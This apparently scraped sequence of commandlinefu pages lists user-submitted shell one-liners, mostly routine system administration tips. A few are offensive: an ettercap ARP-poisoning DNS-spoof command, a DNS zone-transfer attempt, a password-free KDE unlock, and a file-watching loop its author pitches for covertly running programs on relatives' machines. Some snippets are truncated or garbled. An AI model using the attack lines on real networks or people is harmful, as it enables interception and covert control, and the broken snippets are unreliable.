aa_ps_all () { ( cd /proc && command ps -A -opid= | xargs -I'{}' sh -c 'test $PPID -ne {}&&test -r {}/cmdline&&echo -e "\n[{}]"&&tr -s "\000" " "<{}/cmdline&&echo&&tr -s "\000\033" "\nE"<{}/environ|sort&&cat {}/limits' ); } From my .bash_profile at http://www.askapache.com/linux-unix/bash_profile-functions-advanced-shell.html find -name "" | xargs -i cp -avfr --parent {} / copy selected folder found recursively under src retaining the structure This command will a particular folder-name recursively found under the src-path-to-search to the dest-path-to-copy retaining the folder structure N=10; echo "($N*($N+1)*(2*$N+1))/6" | bc Simplified the series to a polynomial and send it to bc killall -s 9 krunner_lock With this you can unlock your KDE4 session via SSH, via mobile phone SSH or e. g. scheduled task in crontab (without asking password). Useful when you need to grant somebody access to your locked profile remotely. Create an alias (e. g. as "unlock") and use with remote KDE4 lock. This works only on KDE4 boxes because KDE 3 is using utility with another name. in bash hit "tab" twice and answer y List all available commands rcsdiff -y myfile rcsdiff: Output the differences side-by-side Use -W to adjust the width of the output, and --suppress-common-lines to show only the lines that have been changed. ls *.zip|awk '{$a="zip -fo "$1" FILENAME"; system($a);}' - all zips are in current folder - FILENAME is file name that should be subsitute in all zips (new version of this file is in current folder) curl pagerank.bz/yourdomain.com Get Google PageRank via http://pagerank.bz/ tar czf git_mods_circa_dec23.tgz --files-from <(git ls-files -m) Create tarball of files modified in git HandBrakeCLI -i video.avi -o video.mp4 http://handbrake.fr/ ack -a -G '^(?!.*bar/data.*).*$' pattern Ignore a specific subdir, instead of all subdirs, with ack-grep Say you have a directory structure like "foo/, foo/data/, bar/, bar/data/". If you just want to ignore 'bar/data' and you use "ack --ignore-dir=data pattern" it will ignore both foo/data and bar/data and 'ignore-data=bar/data' etc won't work. dpkg -l | grep ^rc | cut -d' ' -f3 | xargs dpkg -P Functions: cut grep xargs Lists all packages in "rc" state and purge them one at a time. while sleep 1; do echo -n "\r`date`"; done Replace all occurences of a pattern with another one from previous command amixer -c 0 set Master 1+ unmute Functions: amixer set amixer : raise volume and unmute if necessary Volume up und unmute (ignored if Master is not muted). Replace "+" by "-" for volume down and unmute if necessary. x11vnc -storepasswd your_new_apssword ~/my_vnc_pass Create x11vnc server authentication file This will generate a password file to use with x11vnc server, obviously you should replace "your_new_password" with the password you want to use and the path where you want to store it. export-opml(){ curl -sH "Authorization: GoogleLogin auth=$(curl -sd "Email=$1&Passwd=$2&service=reader" https://www.google.com/accounts/ClientLogin | grep Auth | sed 's/Auth=\(.*\)/\1/')" http://www.google.com/reader/subscriptions/export; } Export OPML from Google Reader ‹ First < 249 250 251 252 253 > Last › a2p -F: a2p converts awk scripts to perl programs while :;do if [ ! $(ls -l commander |cut -d ' ' -f5) -eq 0 ]; then echo "Ran command: $(less commander) @ $(date +%D) $(date +%r)" >> comm_log;"$(less commander)";> commander;fi;done Functions: cut echo ls A way to run commands on a remote computer to be displayed on the remote computer This is a simple solution to running a remote program on a remote computer on the remote display through ssh. 1. Create an empty 'commander' file in the directory where you intend on running these commands. 2. Run the command 3. Hop on another computer and ssh in to the PC where you ran the command 4. cd to the directory where the 'commander' file is. 5. Test it by doing the following: echo "xeyes" > commander 6. If it worked properly, then xeyes will popup on the remote computer. Combined with my other one liner, you can place those in some start-up scripts and be able to screw with your wife/daughter/siblings, w/e by either launching programs or sending notifications(my other one liner). Also, creates a log file named comm_log in working directory that logs all commands ran. socat TCP-LISTEN:locport,fork TCP:XXX.XXX.XXX.XXX:YYY,sourceport=srcport cyrus@OMGWTF:~$ socat TCP-LISTEN:3333,fork TCP:192.168.2.2:80,sourceport=12345 Create a tunnel from a remote server to the local machine using a specific source port It connects to XXX.XXX.XXX.XXX port YYY, using a source port of "srcport" and binds the tunnel on local port "locport". Then you can connect to localhost:locport. With this command it's possible to connect to servers using a specific source port (useful when a firewall check the source port). Because of the connections starting from the same source port, this works well only for the first connection (for example, works well with SSH and bad with HTTP because of multiple requests). * It requires socat find . -type f -name '*.php' | xargs cat | sed -re ':top /\/\*.*\*\// { s/\/\*.*\*\///g ; t top }; /\/\*/ { N ; b top }' | awk '$0 !~ /^[\t[:space:]]*($|(\/\/)|(#))/' | wc -l andre@klaus:~/CVS/unitime/unitimeweb/unitime$ find . -type f -name '*.php' | xargs cat | sed -re ':top /\/\*.*\*\// { s/\/\*.*\*\///g ; t top }; /\/\*/ { N ; b top }' | awk '$0 !~ /^[\t[:space:]]*($|(\/\/)|(#))/' | wc -l 419064 andre@klaus:~/CVS/unitime/unitimeweb/unitime$ Functions: awk cat find sed top wc xargs How many lines in your PHP project without comments An advanced possibility to count the lines of code like in #8394 curl -s "http://search.twitter.com/search?from=zurvollenstunde&rpp=1" | grep -E '(Es ist jetzt|ago)' | sed 's/<[^>]*>//g;s/[^[:digit:]]//g' | xargs | sed -e 's#\ #:#' 6:23 Get the rough (german) time from Twitter by @zurvollenstunde This combines @zurvollenstunde's hourly tweets and the "n minutes ago" from Twitter search. progr [====>...........] 40% progress bar for cp while [ $orig_size -gt $dest_size ] ; do dest_size=$(stat -c %s $2) pct=$((( 69 * $dest_size ) / $orig_size )) echo -en "\r[" for j in `seq 1 $pct`; do echo -n "=" echo -n ">" for j in `seq $pct 68`; do echo -n "." echo -n "] " echo -n $((( 100 * $pct ) / 69 )) echo -n "%" $ pastebin(){ curl -s -S --data-urlencode "txt=$(cat)" "http://pastehtml.com/upload/create?input_type=txt&result=address";echo;} $ cat test.file |pastebin http://pastehtml.com/view/b9sge3in3.txt Pipe the output of any command to pastehtml.com in text format for i in `wget -O url|grep '[^<]\+.*|\1|'`;do if test -n "$(whois $i|grep -i godaddy)";then echo $i uses GoDaddy;fi;sleep 20;done Functions: echo grep sed sleep whois check a list of domains registered on godaddy Found on https://bitcointalk.org/index.php?topic=55520.0 rsync -avz -e ssh username@hostname:/path/to/remote/dir/ /path/to/local/dir/ rsync over ssh seq 10 |xargs -n1 echo Printing line jeju:[xxxx] > seq 10 |xargs -n1 echo Printing line Printing line 1 Printing line 2 Printing line 3 Printing line 4 Printing line 5 Printing line 6 Printing line 7 Printing line 8 Printing line 9 Printing line 10 jeju:[xxxx] > Functions: echo seq xargs Creating sequence of number with text Nice command to create a list, you can create too with for command, but this is so faster. x11vnc -display :0 -scale 6/7 -rfbauth vncpass -forever Start the x11vnc server This will start the x11vnc server, scale it at 6/7, will use the vncpass file to authenticate and wont shut down as soon as a client disconnects { echo -e "$body"; uuencode "$outfile" "$outfile"; } | mail -s "$subject" "$destaddr" ; Functions: echo mail uuencode on this way we can define the body too :.,$!perl -pne 'for $i ("0001".."0004"){ s/XXXX/$i/ if($i == $.) }' 123|XXXX|1000 123|XXXX|1001 123|XXXX|1010 123|XXXX|1011 123|0001|1000 123|0002|1001 123|0003|1010 123|0004|1011 Create a series of incrementing numbers in vim given lines of the form each 'XXXX' will be replaced with a serial number between 0001 and 0004. ssh -l Login via SSH portnum() { egrep "[[:space:]]$*/" /etc/services; } [root#server][~]> portnum 25 Just use your system preinstalled file free -g srchpymod() { python -c "import $1; print filter(lambda x: x.find('$2') >= 0, dir($1))"; }; Matched symbols in the python module. search into contents of python module srchpymod srchpymod cairo Surface ['ImageSurface', 'PDFSurface', 'PSSurface', 'SVGSurface', 'Surface', 'SurfacePattern', 'XlibSurface'] cp ./* .[!.]* ..?* /path/to/dir Copy all files. All normal files, all hidden files and all files starting with - (minus). ./* is for copying files starting with - .[!.]* is for copying hidden files and avoiding copying files from the parent directory. ..?* is for copying files starting with .. (avoids the directory ..) /path/to/dir the path to the directory where the files should be copied Can also be used as a script. Input argument is /path/to/dir in tcsh, replace .[!.]* with .[^.]* mvn -Declipse.workspace= eclipse:add-maven-repo Eclipse needs to know the path to the local maven repository. Therefore the classpath variable M2_REPO has to be set. Taken from - http://maven.apache.org/guides/mini/guide-ide-eclipse.html xmlstarlet fo "http://www.google.com/ig/api?weather=$(curl -s api.hostip.info/get_html.php?ip=$(curl -s icanhazip.com)... SEE SAMPLE OUTPUT xmlstarlet fo http://www.google.com/ig/api?weather=$(curl -s api.hostip.info/get_html.php?ip=$(curl -s icanhazip.com) | sed -e'1d;3d' -e's/C.*: \(.*\)/\1/' -e's/ /%20/g' -e"s/'/%27/g" -e"s/-/%2d/g") | sed -e's||Locale|' -e's||Today|' -e's|||' -e's|<.*>||' -e"s/'/'/g" -e'1,3d;6,9d;11d;18d;20,49d' Locale Today Geo Weather This command will determine an individuals local weather, based on their I.P. address. I had to learn a lot about SED and a little about XMLStarlet in order to achieve this. This command is my original work and there is much room for improvement; I look forward to any constructive feedback. function ttl { /usr/sbin/timetrans -count $(dig +noquestion +noadditional +noauthority $1 | grep "^$1" | awk '{print $2}') } $ ttl www.commandlinefu.com 17 minutes, 7 seconds Functions: awk dig grep display the ttl of a hostname in a human readable form This function uses timetrans from the dnssec-tools to calculate the remaining time until a dns entry reaches its time to live and is fetched from the authoritive nameserver again. nohup cat /dev/ttyS0 | tee -a llamadas.db& Functions: cat nohup tee Put this command on /etc/rc.local. cat > file.txt << EOF First file editor for newbies This command should be the first file-editing command for a newbie. It clears file.txt (cat), and asks for input until EOF is entered on its own line (not written to file.txt). xmms2 mlib search added \> $(echo $(date +%s) - 604800|bc) list the last week's added files in xmms2's library sensors | grep "Core 1" | [[ `sed -e 's/^.*+\([0-9]\{2,3\}\).*(.*/\1/'` -gt 50 ]] && notify-send "Core 1 temperature exceeds 50 degrees" Functions: grep sensors Be notified about overheating of your CPU and/or motherboard You'll be notified if your core 1 temperature exceeds 50 degrees, you can change the monitored device by editing the "Core 1" or change the critical temperature by editing the "-gt 50" part. Note: you must have lm-sensors installed and configured in order to get this command working. ‹ First < 250 251 252 253 254 > Last › find . -mtime +10 Find files older than X, using find. This will find all files in the path "." which are older than 10*24hrs (10 days). This will find any type of file. sudo tcpdump -i eth0 -n port 67 and 68 12:30:25.973064 IP 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:24:2b:60:33:8d, length 302 12:30:25.979560 IP 192.168.1.1.67 > 255.255.255.255.68: BOOTP/DHCP, Reply, length 303 12:30:48.928099 IP 192.168.1.131.68 > 255.255.255.255.67: BOOTP/DHCP, Request from 00:24:2b:60:33:8d, length 300 So you are not sure are connected and iither your router or ethernet card are not working. You don't need this command often and there are other ways to test output but if you want to be sure if your router and ethernet card are working this is one way. Unix timestamp Solaris For Solaris to obtain the same as: date+%s like in linux ps ax | grep -i ProcessName| kill -9 `awk '/FileName.Ext/ {print $1}'` Look for process by filename in command then kill the process Outputs the PID of any given file run from a command line... Hope it helps! for f in $(ls -A ./dir); do echo -n $f && diff original.txt ./dir/$f | wc -l ; done | perl -ne 'my $h={}; while (<>) { chomp; if (/^(\S+?)\s*(\d+?)$/){$h->{$1}=$2;} }; for my $k (sort { $h->{$a} $h->{$b} } keys %$h ){ print "$k\t$h->{$k}\n"}' Functions: diff echo ls perl sort wc display list of files in a directory sorted by amount of lines different with original.txt. find . -type f -name "*.php" -exec wc -l {} +; Count total amount of code lines in a PHP Project (short version) 'ls -1 ** | while read file; do scp $file user@host:/path/; if [[ $? -eq 0 ]]; then rm $file; fi; done' Functions: read rm scp Search filenames with given pattern; each one is transfered via scp and if succesfull the file is locally deleted. Ideal for filesystem quick maintenance ffmpeg2theora input.avi avi to ogv (Ogg Theora) ffmpeg2theora (http://v2v.cc/~j/ffmpeg2theora/) sudo dscl localhost -append /Local/Default/Groups/admin GroupMembership username Add user to group on OS X 10.5 adding users to groups on OS X is not a straightforward process, you need to use the new in built in Directory Service command line utility... /usr/bin/truss /usr/bin/date 2>&1 | nawk -F= '/^time\(\)/ {gsub(/ /,"",$2);print $2}' yes 'clear;printf "\n\n`date`\n" | figlet -f starwars;sleep 1' | sh Console clock -- Beautiful This will show a console clock with Figlet. This is with the Star Wars font. Change the -f option to anything else. Notice: You need Figlet installed for this to work. To install Figlet on Ubuntu, type in: sudo apt-get install figlet To install Figlet on Debian, type in: aptitude install figlet for R in `svn log file:///path/repo | grep ^r | grep dude | cut -d' ' -f1 | cut -dr -f2`; do svn ps svn:log --revprop -r $R "`svn pg svn:log --revprop -r $R file:///path/repo; perl -e 'print ".\n";' | fromdos`" file:///path/repo; done property 'svn:log' set on repository revision ### Functions: cut grep ps Fix all the commit log messages from a user of a bad subversion client Let's supose some moron used some m$ shit to commit to a later svnsynced repo. On a svn sync all his message logs cause a svnsync: Error setting property 'log': this commands finds all its contributions and fix all his commit logs apt-get remove $(dpkg -l | awk "/^ii linux-(image|headers)/ && ! /`uname -r`/ {print \$2}") Functions: apt awk since awk was already there one can use it instead of the 2 greps. might not be faster, but fast enough ettercap -i wlan0 -T -q -P dns_spoof -M ARP:remote // // This command will enable dns spoofing through ettercap. The etter.dns config file must be set. The -i parameter defines the interface, e.g. eth0, eth1, wlan0... ettercap -h for more info Credit goes to xhabie-crew brew update && brew install `brew outdated` More information about what homebrew is all about: http://github.com/mxcl/homebrew find . -name "*.html" -exec grep -l 'string' {} \; ./filename1.html ./directory1/filename2.html Find given string in all files with given name or extension This will search for "string" in all files under the given path "." and provide a listing of the files with their relative locations. echo Good $(i=`date +%H` ; if [ $i -lt 12 ] ; then echo morning ; else if [ $i -lt 15 ] ; then echo afternoon ; else echo evening ; fi ; fi) Saves all the "cut" hacks ( di $TOFSCK -h ; /bin/umount $TOFSCK ; time /sbin/e2fsck -y -f -v $FSCKDEV ; /bin/mount $TOFSCK ) |& /bin/mail $MAILTO -s "$MAILSUB" Filesystem Mount Size Used Avail %Used fs Type e2fsck 1.41.12 (17-May-2010) Pass 1: Checking inodes, blocks, and sizes Pass 2: Checking directory structure Pass 3: Checking directory connectivity Pass 4: Checking reference counts Pass 5: Checking group summary information 22256269 blocks used (77.18%) -------- real 3m31.842s user 0m13.897s sys 0m8.977s Easy to extend one-liner for cron scripts that automate filesystem checking This one-liner is for cron jobs that need to provide some basic information about a filesystem and the time it takes to complete the operation. You can swap out the di command for df or du if that's your thing. The |& redirections the stderr and stdout to the mail command. How to configure the variables. TOFSCK=/path/to/mount FSCKDEV=/dev/path/device FSCKDEV=`grep $TOFSCK /proc/mounts | cut -f1 -d" "` MAILSUB="weekly file system check $TOFSCK " perl -le 'print time()' svnradd() { for i in $1/*;do if [ -e "$i" ];then if [ -d "$i" ];then svn add $i;svnradd $i;else svn add $i;fi; fi;done } SVN Recursive Directory/File Adder This will recursively add files/directories in SVN. svnradd yourfile svnradd yourdirectory then: svn commit Notice: It might not work properly, and not all files could get added. Since there is a limit on characters, I couldn't add failure/success notices. If you want failure/success notices, download Terminal Enhancements (http://tenhancements.tk/ ) It is included on Base Features psbook file.ps | psnup -2 -l -m0.5cm | pstops '2:0,1U(210mm,297mm)' > file.booklet.ps Create a booklet ps file out of a normal ps (A4 Size) 'booklet' is the name they'll give it in fineprint windows alternative. It's a postscript file prepared to be printed dual side, one page per sheet, and, once finished you can place staples in the middle of the print, fold, and read it like a book. mencoder input.m2ts -oac mp3lame -lameopts cbr:br=128 -ofps 24 -vf harddup -vf scale=1280:720 -ovc xvid -xvidencopts fixed_quant=3 -o output.xvid.lamp.avi mencoder convert bluray to xvid grep -c '^$' /proc/cpuinfo All Linux Systems I try also have an empty line per cpu in /proc/cpuinfo... little shorter then... pgrep -f 'process.*argument.*' Get process id based on name and parameters slice="-rw-r--r-- "; ls -l | cut -c $(echo "$slice" | wc -c)- Functions: cut echo ls wc slice a fixed number of characters from the output of a command, where the width of the slice is the number of characters in $slice ‹ First < 251 252 253 254 255 > Last › sed 's/.*/ /' The first version printed: tr: empty string2 The second version printed: sed: -i may not be used with stdin Maybe I misunderstood the orginal problem. cobbler repo edit --name=Epel-i386 --environment="http_proxy=http://100.100.100.100:3128" Configuring a proxy for a cobbler repo This is the command to configure "cobbler reposync" to use a specific proxy setting to mirror locally the content of a specific remote repository. find * ! -name abc -delete imap r =system('echo "$(($RANDOM % 100))"') 75 Map \r do insert random number in vim This mapping function is called RANDOM bash and enter a number between 1 and 100 yes 'clear;printf "`date`\n" | figlet -f starwars | boxes;sleep 1' | sh Console clock -- Beautiful 2 This is a different version from my original command: Console clock -- Beautiful (http://www.commandlinefu.com/commands/view/7902/console-clock-beautiful ) This one uses Boxes and Figlet. To install the dependencies on Ubuntu, type in: sudo apt-get install boxes figlet To install the dependencies on Debian, type in: aptitude install boxes figlet netstat -an |grep ":80" |awk '{print $5}' | sed s/::ffff://g | cut -d: -f1 |sort |uniq -c |sort -n | tail -1000 | grep -v "0.0.0.0" 11 113.179.81.247 11 58.187.233.193 12 113.172.21.164 12 113.23.83.98 14 115.78.193.153 15 123.26.19.210 15 71.22.46.17 16 125.234.144.101 17 113.22.133.104 17 1.54.1.201 Functions: awk cut grep netstat sed sort tail uniq Find all IP connected to my host through TCP connection and count it Count and Find all IP connected to my host through TCP connection. sudo dpkg -i `ls -tr *.deb | tail -n4` Functions: sudo tail Install 4 new package files after kernel build with make deb-pkg, I like to install the 4 newest packages that exist in the directory. Beware: might be fewer for you.... sgdisk /dev/sda -R /dev/sdb && sgdisk -G /dev/sdb copy GPT partition table from /dev/sda to /dev/sdb copy GPT partition table from /dev/sda to /dev/sdb, using gptfdisk from http://sourceforge.net/projects/gptfdisk/. The -G command randomizes the UUIDS su -c "truecrypt --non-interactive truecrypt-file cryptshare -p PASSWORD" Mount a truecrypt drive from a file from the command line non-interactively This is useful for use in scripts. Note that this will leak your password to ps, so this shouldn't be used on shared machines. Use key files for this printf '%*s\n' 20 | tr ' ' '#' Emulate perl 'print "#" x 20, "\n"' slice(){ cut -c$((${#1}+1))-; }; ls -l | slice "-rw-r--r--" mergepdf() { gs -q -dNOPAUSE -dBATCH -sDEVICE=pdfwrite -sOutputFile=merged.pdf "$@" } Merge PDFs with Ghostscript wrapped in a function This is an expansion on a previous entry, which I've wrapped in a function and placed in my profile. The "$@" is a positional parameter, much like "$*", but the parameters are passed on intact, without interpretation or expansion; so you can simply call the function like this: mergepdf * This will output a merged PDF of all PDFs in the current directory. Alternatively, you can simply list them like so: mergepdf 00.pdf 01.pdf 02.pdf ... N.B. Passing a wildcard will merge all PDFs in the current directory in name order, e.g. 00.pdf 01.pdf aa.pdf ab.pdf lynx --dump "http://www.google.com.br" | egrep -o "http:.*" http://www.google.com.br/imghp?hl=pt-BR&tab=wi http://video.google.com.br/?hl=pt-BR&tab=wv http://maps.google.com.br/maps?hl=pt-BR&tab=wl http://news.google.com.br/nwshp?hl=pt-BR&tab=wn http://www.orkut.com/Main?hl=pt-BR&tab=w0#Home http://www.google.com.br/intl/pt-BR/options/ http://www.google.com.br/url?sa=p&pref=ig&pval=3&q=http://www.google.com.br/ig%3Fhl%3Dpt-BR%26source%3Diglk&usg=AFQjCNEufhwNAC9POZqcS5r7r07CUPbvAA http://www.google.com.br/preferences?hl=pt-BR http://www.google.com.br/ http://www.google.com.br/advanced_search?hl=pt-BR http://www.google.com.br/language_tools?hl=pt-BR http://www.google.com.br/intl/pt-BR/ads/ http://www.google.com.br/services/ http://www.google.com.br/intl/pt-BR/about.html http://www.google.com/ncr http://www.google.com.br/intl/pt-BR/privacy.html Get all URLs from webpage via Regular Expression Get all URLs from website via Regular Expression... You must have lynx installed in your computer to execute the command. --> lynx --dump "" | egrep -o "" - Must substitute it for the website path that you want to extract the URLs - Regular Expression that you wanna filter the website for i in ${TOILET_FONT_PATH:=/usr/share/figlet}/*.{t,f}lf; do j=${i##*/}; toilet -d "${i%/*}" -f "$j" "${j%.*}"; done mmm mmm mmm mmm mmm #" "m " # # " #" " # # #m m# m"""# """m # # # """ # "mm"# "mmm" "#mm" mm#mm mm#mm "mmm" host -la domain.com Perform a dns zone transfer (if is allowed on target dns server) and print result. mencoder -ovc lavc -lavcopts vcodec=mpeg4:vbitrate=1000:vhq -oac mp3lame -lameopts br=98 -o output.wmv input.mpg Convert video type from mpg to wmv range () { end=$(echo "$1 + $2 - 1" | bc); echo "$1-$end"; } shell function to turn start and length in to a range suitable for using in cut. echo "..1234567." | cut -c $(range 3 7) yields find ~/Music/iTunes/iTunes\ Media/. -name \*.ipa -exec basename {} \; | cut -d \. -f 1 > ~/Desktop/MyAppList`date +%s.txt` 1Password 3D Chess Free Adobe? Ideas 1 AIM for iPad Anaconda XL Anagram Arabic Alphabet Reference and Quiz ascii2bin [ cut for brevity ] Functions: basename cut find print your iTunes App for iPhone/iTouch/iPad to show your friends which ones you have omit "> ~/Desktop/MyAppList`date +%s.txt`" if you don't want to print it to a file on your desktop and instead only want to display to console created and tested on: ProductName: Mac OS X ProductVersion: 10.6.3 BuildVersion: 10D573 find * ! -name abc -type f -delete find /path/to/folder/ -mindepth 1 -maxdepth 2 -name "*,v" -exec sudo rlog -L -R {} \; /etc/RCS/fstab,v find rcs locked file in a given folder find the files locked by rcs utility curl -s http://www.cavejohnsonhere.com/random/ | grep quote_main | cut -d \> -f 2- | fmt -w $(tput cols) Alright, I've been thinking. When life gives you lemons, don't make lemonade - make life take the lemons back! Get mad! I don't want your damn lemons, what am I supposed to do with these? Demand to see life's manager. Make life rue the day it thought it could give Cave Johnson lemons. Do you know who I am? I'm the man who's gonna burn your house down! With the lemons. I'm going to to get my engineers to invent a combustible lemon that burns your house down! Functions: cut fmt grep tput The wisdom of Cave Johnson There's been a similar Futurama thing around for a while, which grabs a quote from the /. headers [curl -Ism3 slashdot.org | egrep "^X-(F|B|L)" | cut -d \- -f 2- | fmt -w $(tput cols)]. Same deal, but more likely to stop working when someone forgets to pay the bill on the domain. Until then: Cave Johnson! parallel echo -n {}"\ "\;echo '$(du -s {} | awk "{print \$1}") / $(find {} | wc -l)' \| bc -l ::: * yeslab.org 300.32786885245901639344 theyesmen.org 679.16801687505732016752 Functions: awk bc du echo find wc Compute the average number of KB per file for each dir Use this to find identify if dirs mostly contain large or small files. ls -l `whereis gcc` ls: cannot access gcc:: No such file or directory lrwxrwxrwx 1 root root 7 2011-03-03 00:31 /usr/bin/gcc -> gcc-4.5 lrwxrwxrwx 1 root root 7 2011-03-03 00:31 /usr/bin/X11/gcc -> gcc-4.5 /usr/lib/gcc: drwxr-xr-x 3 root root 4096 2011-02-14 18:01 i586-suse-linux whereis (1) - locate the binary, source, and manual page files for a command Not actually better, just expanded a bit. The "whereis" command has the following output: whereis gcc gcc: /usr/bin/gcc /usr/lib/gcc /usr/bin/X11/gcc /usr/share/man/man1/gcc.1.gz therefore the 'ls' error on first line, which could be eliminated with a little extra work. ls **/fred*~*junk*/* List all files fred* unless in a junk directory for i in ~/Desktop/Personal/Wallpapers/*.jpg ; { size=$((`identify -format "%wx%h" $i | sed 's/x/*/'`)) ; if [[ $size -lt 800001 ]] then ; rm -f "$i" ; fi; } Functions: rm sed A quick shell command to weed out the small wallpapers For all of the jpgs in a directory, determine their size and if below a threshold remove them forcefully. ‹ First < 252 253 254 255 256 > Last › metascore(){ curl -s "http://www.metacritic.com/$@" | sed -rn 's|\t*

    ([^<]*)
    |\1|p'; } Get a metascore from metacritic.com This will fetch a metascore from metacritic.com. It requires a url from metacritic without the http://www.metacritic.com/ metascore games/platforms/wii/supermariogalaxy metascore tv/shows/marriageref metascore video/titles/newmoon Would be cool to use this in some sort of a graph. rsync --delete -az -e 'ssh -c blowfish -i /your/.ssh/backup_key -ax' /path/to/backup remote-host:/dest/path/ remote backups with rsync while read line; do pais=$(whois "$line" | grep -E '[Cc]ountry') echo -n "IP=$line Pais=$pais" && echo done output) 2>&1 | zenity --progress Track progress of long-running text-command using graphical dialog TEST_UUID=$(blkid /dev/sda6 | sed -rn "s/^.*UUID=\"([a-z0-9]{8}-[a-z0-9]{4}-[a-z0-9]{4}-[a-z0-9]{4}-[a-z0-9]{12})\".*/\1/p") Put uuid of disk into variable xxx.xxx.xx.xx Get your external public IP address Grabs your external public IP. for FILE in $(svn status | grep ? | grep .php); do svn add $FILE; done recursively add all new PHP files in a folder to SVN simply change extension for others programming languages echo sortmeplease|sed 's/./&\n/g'|sort|tr -d '\n' another possibility cat filename | uuencode filename | mail -s "Email subject" user@example.com Functions: cat mail uuencode uuencode the file to appear as an attachment sed 's/pattern/^[[1m&^[[0m/g' Bold matching string without skipping others sleep 4; F="$(tempfile -s '.xwd')"; xwd > "$F" ; gimp "$F" echo $(echo 'scale=2; ' '100 * ' $(eix --only-names -I | wc -l) / $(eix --only-names | wc -l) | bc -l)% Functions: bc echo wc Use bc for decimals... watch -n 1 : Clock will appear in the top-right corner sudo tcpdump -i en0 'udp port 53' Use tcpdump to monitor all DNS queries and responses cat $(file * | grep ASCII | awk -F: {'print $1'}) > all-in-one Functions: awk cat file grep cat all text files into one in a directory that has multiple file types, cat only ASCII text files together. needed to do this for some reason, but can't remember why. convert /home/user/file.jpg -resize 800x533 -strip -quality 80 -interlace line /home/user/web_file.jpg Convert high resolution JPEG for web publication echo '2^2^20' | time bc > /dev/null 7.14user 0.00system 0:07.16elapsed 99%CPU (0avgtext+0avgdata 0maxresident)k 0inputs+0outputs (0major+944minor)pagefaults 0swaps Functions: bc echo time quick integer CPU benchmark This is a quick and dirty way to generate a (non-floating-point) CPU-bound task to benchmark. Adjust "20" to higher or lower values, as needed. As a benchmark this is probably a little less bogus than bogomips, and it will run anywhere 'bc' does. awk 'BEGIN {FS=","} {loc = $4, val=$5; getline < "f0001ch1.csv"; print loc,val,$5}' f0001ch2.csv > data Parse tektronic csv files Parses tektronic given csv files for both channel 1 and channel 2 and joins them together. Can be easily used by gnuplot after that. urpmi --auto-update --force # apply all pending updates (Mandriva Linux) medium ""Mandriva Linux - 2009.0 (Powerpack64) - Installer" (dvd-free-1)" is up-to-date medium ""Mandriva Linux - 2009.0 (Powerpack64) - Installer" (dvd-free-2)" is up-to-date medium ""Mandriva Linux - 2009.0 (Powerpack64) - Installer" (dvd-free-3)" is up-to-date medium ""Mandriva Linux - 2009.0 (Powerpack64) - Installer" (dvd-free-4)" is up-to-date medium ""Mandriva Linux - 2009.0 (Powerpack64) - Installer" (dvd-free-5)" is up-to-date medium ""Mandriva Linux - 2009.0 (Powerpack64) - Installer" (dvd-free-6)" is up-to-date medium ""Mandriva Linux - 2009.0 (Free64) - Installer" (dvd-free-1)" is up-to-date medium ""Mandriva Linux - 2009.0 (Free64) - Installer" (dvd-free-2)" is up-to-date medium ""Mandriva Linux - 2009.0 (Free64) - Installer" (dvd-free-3)" is up-to-date medium "Main (official-1)" is up-to-date medium "Main Updates (official-2)" is up-to-date medium "Main32 (official-3)" is up-to-date medium "Main32 Updates (official-4)" is up-to-date medium "Contrib (official-11)" is up-to-date 100 797k 100 797k 0 0 9988k 0 --:--:-- --:--:-- --:--:-- 11.2M updated medium "Contrib Updates (official-12)" medium "Non-free (official-19)" is up-to-date medium "Non-free Updates (official-20)" is up-to-date Packages are up to date Apply all pending updates to Mandriva Linux system (2008.0 and newer). This command needs to be run with root privilege. Using the "--force" option answers "yes" to any interactive prompts thus allowing the updates to be left unattended to completion. NB if there is an update for glibc and/or a new kernel then the system would need to be rebooted for these to take effect. A prerequisite for running "urpmi --auto-update" is to have correctly defined urpmi media sources (which can be done by visiting http://easyurpmi.zarb.org/). If there are no new updates the the message "Packages are up to date" is shown. cdparanoia -B Functions: cdparanoia Rip audio tracks from CD to wav files in current dir function svnurl() { svn info $1 | egrep '^URL: (.*)' | sed s/URL\:\ //; } Functions: egrep info sed Extract URL from SVN working copy Can be used in a working copy to output the URL (extracted from svn info), or as part of another function, as $(svnurl some/path). Saves a lot of time in my SVN workflow. perl -ne '$w = length if (length > $w); END {print "$w\n"}' *.cpp 96 More straightforward. dpkg-query -l > 1.lst; sudo apt-get install -y build-essential; ./configure; make; sudo checkinstall -D make install; dpkg-query --list > 2.lst; diff 1.lst 2.lst | grep '^>' | awk '{print $3}' | xargs sudo apt-get remove -y --purge Functions: awk diff grep install make sudo xargs compile source & then remove the dev tools you needed to install on a dpkg managed system this PATTERN will help you generate .deb files from source AND remove all the dev libs you had to install. i hate cluttering up my machine with rouge packages and headers. it would be pretty darn easy on rpm systems as well. i just dont have a rpm managed system to test on right now. NOTE, you sharp ones will notice that it uninstalls the deb you just made! yeah, but the deb is still there to do with it what you want, like re install it. or you can just grep -v after the diff mailq | grep MAILER-DAEMON | awk '{print $1}' | tr -d '*' | postsuper -d - command &! A child process which survives the parent's death (Zsh version) ‹ First < 253 254 255 256 257 > Last › find . -depth -print -execdir rename -f 'y/A-Z/a-z/' '{}' \; easier way to recursively change files to lowercase using rename instead svn add * See also: http://stackoverflow.com/questions/1071857/how-do-i-svn-add-all-unversioned-files-to-svn top -p `pidof apache2 | awk '{gsub(/[ ]/,",");print}'` 13130 www-data 20 0 31452 4536 1128 S 0 0.2 0:00.00 apache2 12763 www-data 20 0 31596 4800 1220 S 0 0.2 0:00.00 apache2 12762 www-data 20 0 31596 4800 1216 S 0 0.2 0:00.00 apache2 12527 www-data 20 0 31596 4652 1220 S 0 0.2 0:00.01 apache2 10760 www-data 20 0 31596 4940 1284 S 0 0.2 0:00.02 apache2 Monitor specific process (ie apache) using Top Show only specific process id's using Top find -iname \*.pdf -print0 | xargs -0 pdfgrep -i "my search text" Grep all your PDFs in a row http://pdfgrep.sourceforge.net/ , , , , dloal>,/ the system will display device manager command line utility, dns statistics, v\ ip addr|grep "inet " the system will display device manager command line utility, cte. the system will display device manager command line utility, dns statistics, v du -sk * | awk '{print $1} END {print "[+z1 running command directly, skip alias or function which has the same name if you have a alias like this: alias cp='cp -i' # cp file1 file1.bak equal to # cp -i file1 file1.bak (it will not overwrite file1.bak if it exist) # \cp file1 file1.bak # /bin/cp file1 file1.bak (skip alias settings, it will overwrite file1.bak if it exist) tshark -r data.pcap -zio,phs Extract infomation form pcap xdg-mime default firefox.desktop x-scheme-handler/http Use xdg-mime to set your default web browser A universal way to configure your web browser. Note, you'll also need to set "x-scheme-handler/https" and "text/html" 